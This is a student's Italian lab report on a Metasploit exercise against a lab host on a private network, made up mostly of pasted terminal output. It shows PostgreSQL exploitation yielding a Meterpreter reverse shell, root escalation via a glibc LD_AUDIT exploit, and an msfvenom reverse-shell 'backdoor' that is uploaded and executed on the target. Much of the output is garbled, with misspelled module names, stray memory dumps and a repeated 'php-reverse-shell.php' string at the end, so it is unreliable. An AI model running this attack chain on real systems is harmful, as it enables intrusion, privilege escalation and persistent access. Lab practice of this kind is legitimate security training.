## Relazione 18-12

Oggi ho svolto un esercizio con Metasploit con l'obiettivo di sfruttare una vulnerabilità per ottenere una sessione Meterpreter e successivamente eseguire un'escalation di privilegi fino ad accedere come utente root.

Ho iniziato avviando l'ambiente Metasploit utilizzando il comando msfconsole. Successivamente, ho caricato il modulo exploit/linux/postgres/postgres\_payloadper tentare di sfruttare un pericolo nel servizio PostgreSQL sulla macchina target. Ho configurato correttamente gli indirizzi IP con i comandi set RHOSTS 192.168.1.149, set LHOST 4444, e ho impostato il payload utilizzando il comando set payload linux/x86/meterpreter/reverse\_tcp. Dopo aver completato la configurazione, ho eseguito l'exploit con il comando run. Per continuare senza bloccare la console, ho eseguito l'exploit in background con il comando bg.

```
18046
01 ebx: f77c8c00 ecx: 00000000 edx: f77f0001
14 edi: 8023c755 ebp: 80237f84 esp: 80237f60
es: 0018 ss: 0018
pper (Pid: 0, process nr: 0, stackpage=803770
                       =[ metasploit v6.4.38-dev
--[ 2467 exploits - 1273 auxiliary - 431 post
--[ 1478 payloads - 49 encoders - 13 nops
--[ 9 evasion
             Name Current Setting Required Description
VERBOSE false no Enable verbose output
               The database to authenticate against 
in the process of the proces
                                                                                                                 yes The listen address (an interface may be specified)
yes The listen port
     View the full module info with the info, or info -d command.
msf6 exploit(:\text{inum/postgres/postgres_payload}) > set RHOSTS 192.168.1.149

msf6 exploit(:\text{inum/postgres/postgres_payload}) > set LHOST 192.168.1.25

LHOST ⇒ 192.168.1.25

msf6 exploit(:\text{inum/postgres/postgres_payload}) > set peyload linux/x86/metrpreter/reverse_tcp

[1] Unknown datastore option: peyload. Did you mean PAYLOAD?

peyload ⇒ linux/x86/metrpreter/reverse_tcp

msf6 exploit(:\text{inum/postgres/postgres_payload}) > set peyload linux/x86/meterpreter/reverse_tcp

msf6 exploit(:\text{inum/postgres/postgres_payload}) > run
     [*] Started reverse TCP handler on 192.168.1.25:4444

[*] 192.168.1.149:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)

[*] Uploaded as /tmp/bGBhcvvR.so, should be cleaned up automatically

[*] Sending stage (101770/ bytes) to 192.168.1.149

[*] Meterpreter session 1 opened (192.168.1.25:4444 → 192.168.1.149:46685) at 2024-12-18 09:01:25 -0500
     meterpreter > getuid
Server username: postgres
meterpreter >
```

Una volta entrata in bg ho scritto use post/multi/recon/local\_exploit\_suggester e mi ha dato tutte le vulnerabilità, ho testato tutte le vulnerabilità ma mi dava sempre postgress

```
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > run

[*] Started reverse TCP handler on 192.168.1.25:4444
[+] The target appears to be vulnerable
[*] Using target: Linux x86
[*] Writing '/tmp/.gK2GexkH' (1271 bytes) ...
[*] Writing '/tmp/.booUCmF' (286 bytes) ...
[*] Writing '/tmp/.TZjryD8P' (250 bytes) ...
[*] Launching exploit ...
[*] Exploit completed, but no session was created.
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > sessions 1
[*] Starting interaction with 1 ...

meterpreter > shell
Process 5570 created.
Channel 363 created.
whoami
postgres
exit
meterpreter > bg
```

Ho di nuovo lanciato la prima vulnerabilità inserendo nuovamente il payload x86 e come vediamo nella foto siamo root.

```
msf6 exploit(linux/local/glibe_ld_audit_dso_load_priv_etc) > set payload linux/x86/meterpreter/reverse_tcp
payload ⇒ linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/local/glibe_ld_audit_dso_load_priv_etc) > run
i=] Unknown command: run•. Did you mean run? Run the help command for more details.
msf6 exploit(linux/local/glibe_ld_audit_dso_load_priv_etc) > run

[*] Started reverse TCP handler on 192.168.1.25:4444

[*] The target appears to be vulnerable
[*] Using target: linux x86
[*] Writing '/tmp/.BW4TiluM' (1271 bytes) ...
[*] Writing '/tmp/.BW4TiluM' (1271 bytes) ...
[*] Writing '/tmp/.6caeFqfX' (207 bytes) ...
[*] Launching exploit...
[*] Sending stage (1017704 bytes) to 192.168.1.149
[*] Meterpreter session 5 opened (192.168.1.25:4444 → 192.168.1.149:42801) at 2024-12-18 11:32:05 -0500
meterpreter > shell
Process 5597 created.
Channel 1 created.
whosani
```

## Per la backdoor ci ho litigato parecchio

```
-$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.25 LPORT=4444 -o backdoor
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 123 bytes
Saved as: backdoor
 Metasploit tip: You can use help to view all available commands
                                                                                              d8, d8P
BP d888888p
                              d8P
   d888888P
d8bd8b.d8p d8888b ?88' d888b8b
                                                                                              ?88'
?8b 88P
                                                                               d8P
 d8P d8888b $whi?88b 88b
                                                         355" ?88, d88b, d88 d8P' ?88 88P `?8b

`?88' ?88 ?88 88b d88 d88

88b d8P 88b`?8888P'

888888P' 88n
                                                                                88n
                                                                 =[ metasploit v6.4.38-dev
---=[ 2467 exploits - 1273 auxiliary - 431 post
---=[ 1478 payloads - 49 encoders - 13 nops
---=[ 9 evasion
 Metasploit Documentation: https://docs.metasploit.com/
 msf6 > use exploit/linux/postgres/postgres_payload
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
```

```
msf6 exploit(
                                                        nd) > options
Module options (exploit/linux/postgres/postgres_payload):
               Current Setting Required Description
    VERBOSE false
                                                   Enable verbose output
   Used when connecting via an existing SESSION:
                Current Setting Required Description
    SESSION
                                                   The session to run this module on
   Used when making a new connection via RHOSTS:
    Name
                 Current Setting Required Description
    DATABASE postgres
PASSWORD postgres
                                                     The database to authenticate against
                                       no
                                                     The password for the specified username. Leave blank for a random password
                                                    The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
    RHOSTS
    RPORT
                 5432
                                                     The target port
    USERNAME postgres
                                                    The username to authenticate as
Payload options (linux/x86/meterpreter/reverse_tcp):
            Current Setting Required Description
    LHOST
                                                The listen address (an interface may be specified)
                                   ves
    LPORT
            4444
                                                 The listen port
Exploit target:
    Td Name
View the full module info with the info, or info -d command.
 View the full module info with the info, or info -d command.
 msf6 exploit(linux/postgres/postgres_poytons) - cc
RHOSTS ⇒ 192.168.1.149
lit(linux/nactgres/postgres_poytond) > set payload linux/x86/meterpreter/reverse_tcp
 msf6 exploit(
                                                           ) > set LHOST 192.168.1.25
 LHOST ⇒ 192.168.1.25
msf6
exploit(linux/postgres/postgres
      Handler failed to bind to 192.168.1.25:4444:- - Handler failed to bind to 0.0.0.0:4444:- -
 [*] 192.168.1.149:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu
 [*] Started reverse TCP handler on 192.168.1.25:4444
[*] 192.168.1.149:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu 4)
 [*] Uploaded as /tmp/cWhbKmse.so, should be cleaned up automatically
[*] Sending stage (1017704 bytes) to 192.168.1.149
[*] Meterpreter session 1 opened (192.168.1.25:4444 → 192.168.1.149:39545) at 2024-12-18 12:28:20 -0500
 meterpreter > shell
Process 5690 created.
Channel 1 created.
 whoami
 postgres
 meterpreter > use linux/local/glibc_ld_audit_dso_load_priv_esc
Loading extension linux/local/glibc_ld_audit_dso_load_priv_esc ...
[-] Failed to load extension: No module of the name linux/local/glibc_ld_audit_dso_load_priv_esc found
 <u>meterpreter</u> > bg
 [*] Backgrounding session 1...
rsf6_evaloit(linux/nostgres/nostgres_payload) > use linux/local/glibc_ld_audit_dso_load_priv_esc
 msf6 exploit(
  ms16 exploit(tribx) mustgraw, postgraw, mustgraw, our tribx, seet /general tribx; [*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
ms16_exploit(linux/local/glibs_ld_audit_dso_load_priv_esc) > set payload linux/x86/meterpreter/reverse_tcp
 msf6 exploit(
 payload ⇒ linux/x86/meterpreter/reverse_tcp
```

```
msf6 exploit(li
                                                                                                                                                                  ) > options
  Module options (exploit/linux/local/glibc_ld_audit_dso_load_priv_esc):
                                                        Current Setting Required Description
                                                                                                                                      The session to run this module on
          SUID_EXECUTABLE /bin/ping
                                                                                                                                     Path to a SUID executable
 Payload options (linux/x86/meterpreter/reverse_tcp):
          Name Current Setting Required Description
          LHOST 192.168.1.25
LPORT 4444
                                                                                                          The listen address (an interface may be specified)
 Exploit target:
          Id Name
          0 Automatic
 View the full module info with the info, or info -d command.
 msf6 exploit(1
  session \Rightarrow 1
 msf6 exploit(
 [+] The target appears to be vulnerable
[*] Using target appears to be Vulnerable
[*] Using target: Linux x86
[*] Writing '/tmp/.9qljdo' (1271 bytes) ...
[*] Writing '/tmp/.etluBRSE' (276 bytes) ...
[*] Writing '/tmp/.zUUNgmB' (207 bytes) ...
[*] Launching exploit ...
[*] Sending stage (1017704 bytes) to 192.168.1.149
[*] Meterpreter session 2 opened (192.168.1.25:4444 → 192.168.1.149:39547) at 2024-12-18 12:31:41 -0500
meterpreter > shell
Process 5732 created.
Channel 1 created.
 whoami
root
exit
meterpreter > shell
Process 5734 created.
Channel 2 created.
 whoami
 exit
 meterpreter > ls
Listing: /var/lib/postgresql/8.3/main
                                                                                     2010-03-17 10:08:46 -0400 PG VERSION
 100600/rw-
                                                  123 fil
4096 dir
4096 dir
                                                                                      2024-12-18 12:02:16 -0500 backdoor
 100644/rw-r--r--
                                                                                     2010-03-17 10:08:56 -0400 base
2024-12-18 12:33:37 -0500 global
 040700/rwx-
040700/rwx----
                                                                                     2024-12-18 12:33:37 -0500 global pg_clog 2010-03-17 10:08:49 -0400 pg_clog 2010-03-17 10:08:46 -0400 pg_subtrans 2010-03-17 10:08:49 -0400 pg_subtrans 2010-03-17 10:08:46 -0400 pg_tblspc 2010-03-17 10:08:46 -0400 pg_twophase 2010-03-17 10:08:49 -0400 pg_xlog 2024-12-18 08:48:23 -0500 postmaster.pg 2024-12-18 08:48:23 -0500 postmaster.pg 2010-03-17 10:08:45 -0400 p
                                                   4096
 040700/rwx-
 040700/rwx-----
 040700/rwx----- 4096
                                                  4096
040700/rwx----
                                                                   dir
 040700/rwx----- 4096
 040700/rwx---- 4096
                                                                    dir
fil
                                                                                                                                                               pg_xlog
postmaster.opts
 100600/rw----
 100600/rw---- 54
                                                                                                                                                               postmaster.pid
                                                                                     2010-03-17 10:08:45 -0400 root.crt
2010-03-17 10:07:45 -0400 server.crt
2010-03-17 10:07:45 -0400 server.key
 100644/rw-r--r-- 540
 100644/rw-r-- r-- 1224
                                          — 891
 100640/rw-r-
meterpreter > upload backdoor
[*] Uploading : /home/kali/backdoor → backdoor
[*] Uploaded -1.00 B of 123.00 B (-0.81%): /home/kali/backdoor → backdoor
[*] Completed : /home/kali/backdoor → backdoor
meterpreter > execute -f backdoor
```

```
meterpreter > upload backdoor
 [*] Uploading : /home/kali/backdoor → backdoor
           Uploaded -1.00 B of 123.00 B (-0.81%): /home/kali/backdoor → backdoor
[*] Completed : /home/kali/backdoor → backdoor

<u>meterpreter</u> > execute -f backdoor

Process 5740 created.
<u>meterpreter</u> > ls
 Listing: /var/lib/postgresql/8.3/main
Mode
                                                       Size Type Last modified
                                                                                                                                                                                  Name
                                                                                             2010-03-17 10:08:46 -0400
2024-12-18 12:34:07 -0500
                                                                                                                                                                                 PG_VERSION
100600/rw—
100644/rw-r--r--
040700/rwx-----
                                                       4096 dir
                                                                                              2010-03-17 10:08:56 -0400
040700/rwx----
                                                       4096
                                                                                              2024-12-18 12:36:37 -0500
                                                                                                                                                                                 global
040700/rwx-
                                                       4096
                                                                                              2010-03-17 10:08:49 -0400
                                                                                                                                                                                 pg_clog
                                                                                                                                                                                 pg_multixact
pg_subtrans
                                                                                              2010-03-17 10:08:46 -0400
                                                       4096
040700/rwx-
                                                                                              2010-03-17 10:08:49 -0400
040700/rwx-
                                                       4096
                                                                                             2010-03-17 10:08:46 -0400
2010-03-17 10:08:46 -0400
                                                                                                                                                                                 pg_tblspc
pg_twophase
                                                       4096 dir
040700/rwx-
040700/rwx-
                                                      4096
                                                                                              2010-03-17 10:08:49 -0400 pg_xlog
040700/rwx-
                                                      4096
                                                                                              2024-12-18 08:48:23 -0500
 100600/rw—
                                                                                                                                                                                 postmaster.opts
100600/rw-
                                                                                              2024-12-18 08:48:23 -0500
                                                                                                                                                                                 postmaster.pid
100644/rw-r--r-- 540
100644/rw-r--r-- 1224
                                                                           fil
                                                                                              2010-03-17 10:08:45 -0400
                                                                                                                                                                                root.crt
                                                                                              2010-03-17 10:07:45 -0400
                                                                                                                                                                               server.crt
100640/rw-r-
                                                                           fil
                                                                                              2010-03-17 10:07:45 -0400 server.key
                                                      891
                s password.txt php-reverse-shell.php php-reverse-shell.php-reverse-shell.php-reverse-shell.php-reverse-shell.php-reverse-shell.php-reverse-shell.php-reverse-shell.php-reverse-shell.php-reverse-shell.php-reverse-shell.php-reverse-shell.php-reverse-shell.php-reverse-shell.php-reverse-shell.php-reverse-shell.php-reverse-shell.php-reverse-shell.php-reverse-shell.php-reverse-shell.php-reverse-shell.php-reverse-shell.php-reverse-shell.php-reverse-shell.php-reverse-shell.php-reverse-shell.php-reverse-shell.php-reverse-shell.php-reverse-shell.php-reverse-shell.php-reverse-shell.php-reverse-shell.php-reverse-shell.php-reverse-shell.php-reverse-shell.php-reverse-shell.php-reverse-shell.php-reverse-shell.php-reverse-shell.php-reverse-shell.php-reverse-shell.php-reverse-shell.php-reverse-shell.php-reverse-shell.php-reverse-shell.php-reverse-shell.php-reverse-shell.php-reverse-shell.php-reverse-shell.php-reverse-shell.php-reverse-shell.php-reverse-shell.php-reverse-shell.php-reverse-shell.php-reverse-shell.php-reverse-shell.php-reverse-shell.php-reverse-shell.php-reverse-shell.php-reverse-shell.php-reverse-shell.php-reverse-shell.php-reverse-shell.php-reverse-s
```